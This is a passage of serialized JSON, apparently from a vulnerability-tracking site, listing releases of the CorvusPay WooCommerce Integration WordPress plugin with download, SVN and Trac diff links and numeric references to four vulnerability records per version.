u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.5.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.5.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.6&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.7",[554,555,556,557],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":559,"download_url":560,"svn_tag_url":561,"released_at":35,"has_diff":54,"diff_files_changed":562,"diff_lines":35,"trac_diff_url":563,"vulnerabilities":564,"is_current":54},"2.5.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.5.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.5.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.5&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.6",[565,566,567,568],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":570,"download_url":571,"svn_tag_url":572,"released_at":35,"has_diff":54,"diff_files_changed":573,"diff_lines":35,"trac_diff_url":574,"vulnerabilities":575,"is_current":54},"2.5.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.5.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.5.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.4&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.5",[576,577,578,579],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":581,"download_url":582,"svn_tag_url":583,"released_at":35,"has_diff":54,"diff_files_changed":584,"diff_lines":35,"trac_diff_url":585,"vulnerabilities":586,"is_current":54},"2.5.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.5.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.5.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.3&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.4",[587,588,589,590],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":592,"download_url":593,"svn_tag_url":594,"released_at":35,"has_diff":54,"diff_files_changed":595,"diff_lines":35,"trac_diff_url":596,"vulnerabilities":597,"is_current":54},"2.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.5.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.5.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.2&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.3",[598,599,600,601],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":603,"download_url":604,"svn_tag_url":605,"released_at":35,"has_diff":54,"diff_files_changed":606,"diff_lines":35,"trac_diff_url":607,"vulnerabilities":608,"is_current":54},"2.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.5.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.5.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.1&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.2",[609,610,611,612],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":614,"download_url":615,"svn_tag_url":616,"released_at":35,"has_diff":54,"diff_files_changed":617,"diff_lines":35,"trac_diff_url":618,"vulnerabilities":619,"is_current":54},"2.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.5.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.0&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.1",[620,621,622,623],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":625,"download_url":626,"svn_tag_url":627,"released_at":35,"has_diff":54,"diff_files_changed":628,"diff_lines":35,"trac_diff_url":629,"vulnerabilities":630,"is_current":54},"2.5.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.5.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.5.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.4.2&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.5.0",[631,632,633,634],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":636,"download_url":637,"svn_tag_url":638,"released_at":35,"has_diff":54,"diff_files_changed":639,"diff_lines":35,"trac_diff_url":640,"vulnerabilities":641,"is_current":54},"2.4.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.4.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.4.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.4.1&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.4.2",[642,643,644,645],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":647,"download_url":648,"svn_tag_url":649,"released_at":35,"has_diff":54,"diff_files_changed":650,"diff_lines":35,"trac_diff_url":651,"vulnerabilities":652,"is_current":54},"2.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.4.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.4.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.4.0&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.4.1",[653,654,655,656],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":658,"download_url":659,"svn_tag_url":660,"released_at":35,"has_diff":54,"diff_files_changed":661,"diff_lines":35,"trac_diff_url":662,"vulnerabilities":663,"is_current":54},"2.4.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.4.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.4.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.7&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.4.0",[664,665,666,667],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":669,"download_url":670,"svn_tag_url":671,"released_at":35,"has_diff":54,"diff_files_changed":672,"diff_lines":35,"trac_diff_url":673,"vulnerabilities":674,"is_current":54},"2.3.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.3.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.3.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.6&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.7",[675,676,677,678],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":680,"download_url":681,"svn_tag_url":682,"released_at":35,"has_diff":54,"diff_files_changed":683,"diff_lines":35,"trac_diff_url":684,"vulnerabilities":685,"is_current":54},"2.3.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.3.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.3.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.5&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.6",[686,687,688,689],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":691,"download_url":692,"svn_tag_url":693,"released_at":35,"has_diff":54,"diff_files_changed":694,"diff_lines":35,"trac_diff_url":695,"vulnerabilities":696,"is_current":54},"2.3.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.3.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.3.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.4&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.5",[697,698,699,700],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":702,"download_url":703,"svn_tag_url":704,"released_at":35,"has_diff":54,"diff_files_changed":705,"diff_lines":35,"trac_diff_url":706,"vulnerabilities":707,"is_current":54},"2.3.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.3.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.3.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.3&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.4",[708,709,710,711],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":713,"download_url":714,"svn_tag_url":715,"released_at":35,"has_diff":54,"diff_files_changed":716,"diff_lines":35,"trac_diff_url":717,"vulnerabilities":718,"is_current":54},"2.3.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.3.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.3.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.2&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.3",[719,720,721,722],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":724,"download_url":725,"svn_tag_url":726,"released_at":35,"has_diff":54,"diff_files_changed":727,"diff_lines":35,"trac_diff_url":728,"vulnerabilities":729,"is_current":54},"2.3.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.3.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.3.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.1&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.2",[730,731,732,733],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":735,"download_url":736,"svn_tag_url":737,"released_at":35,"has_diff":54,"diff_files_changed":738,"diff_lines":35,"trac_diff_url":739,"vulnerabilities":740,"is_current":54},"2.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.0&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.1",[741,742,743,744],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":746,"download_url":747,"svn_tag_url":748,"released_at":35,"has_diff":54,"diff_files_changed":749,"diff_lines":35,"trac_diff_url":750,"vulnerabilities":751,"is_current":54},"2.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.3.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.3.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.2.1&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.3.0",[752,753,754,755],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":757,"download_url":758,"svn_tag_url":759,"released_at":35,"has_diff":54,"diff_files_changed":760,"diff_lines":35,"trac_diff_url":761,"vulnerabilities":762,"is_current":54},"2.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.2.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.2.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.2.0&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.2.1",[763,764,765,766],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":768,"download_url":769,"svn_tag_url":770,"released_at":35,"has_diff":54,"diff_files_changed":771,"diff_lines":35,"trac_diff_url":772,"vulnerabilities":773,"is_current":54},"2.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.2.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.2.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.1.1&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.2.0",[774,775,776,777],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":779,"download_url":780,"svn_tag_url":781,"released_at":35,"has_diff":54,"diff_files_changed":782,"diff_lines":35,"trac_diff_url":783,"vulnerabilities":784,"is_current":54},"2.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.1.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.1.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.1.0&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.1.1",[785,786,787,788],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":790,"download_url":791,"svn_tag_url":792,"released_at":35,"has_diff":54,"diff_files_changed":793,"diff_lines":35,"trac_diff_url":794,"vulnerabilities":795,"is_current":54},"2.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.2.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F2.1.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.1.1&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F2.1.0",[796,797,798,799],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":801,"download_url":802,"svn_tag_url":803,"released_at":35,"has_diff":54,"diff_files_changed":804,"diff_lines":35,"trac_diff_url":805,"vulnerabilities":806,"is_current":54},"1.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.1.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.1.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.1.0&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.1.1",[807,808,809,810],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":812,"download_url":813,"svn_tag_url":814,"released_at":35,"has_diff":54,"diff_files_changed":815,"diff_lines":35,"trac_diff_url":816,"vulnerabilities":817,"is_current":54},"1.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.1.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.24&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.1.0",[818,819,820,821],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":823,"download_url":824,"svn_tag_url":825,"released_at":35,"has_diff":54,"diff_files_changed":826,"diff_lines":35,"trac_diff_url":827,"vulnerabilities":828,"is_current":54},"1.0.24","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.24.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.24\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.23&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.24",[829,830,831,832],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":834,"download_url":835,"svn_tag_url":836,"released_at":35,"has_diff":54,"diff_files_changed":837,"diff_lines":35,"trac_diff_url":838,"vulnerabilities":839,"is_current":54},"1.0.23","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-integration.1.0.23.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcorvuspay-woocommerce-integration\u002Ftags\u002F1.0.23\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.22&new_path=%2Fcorvuspay-woocommerce-integration%2Ftags%2F1.0.23",[840,841,842,843],{"id":86,"url_slug":87,"title":88,"severity":69,"cvss_score":70,"vuln_type":90,"patched_in_version":37},{"id":99,"url_slug":100,"title":101,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":65,"url_slug":66,"title":67,"severity":69,"cvss_score":70,"vuln_type":72,"patched_in_version":37},{"id":31,"url_slug":32,"title":33,"severity":38,"cvss_score":39,"vuln_type":41,"patched_in_version":37},{"version":845,"download_url":846,"svn_tag_url":847,"released_at":35,"has_diff":54,"diff_files_changed":848,"diff_lines":35,"trac_diff_url":849,"vulnerabilities":850,"is_current":54},"1.0.22","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcorvuspay-woocommerce-i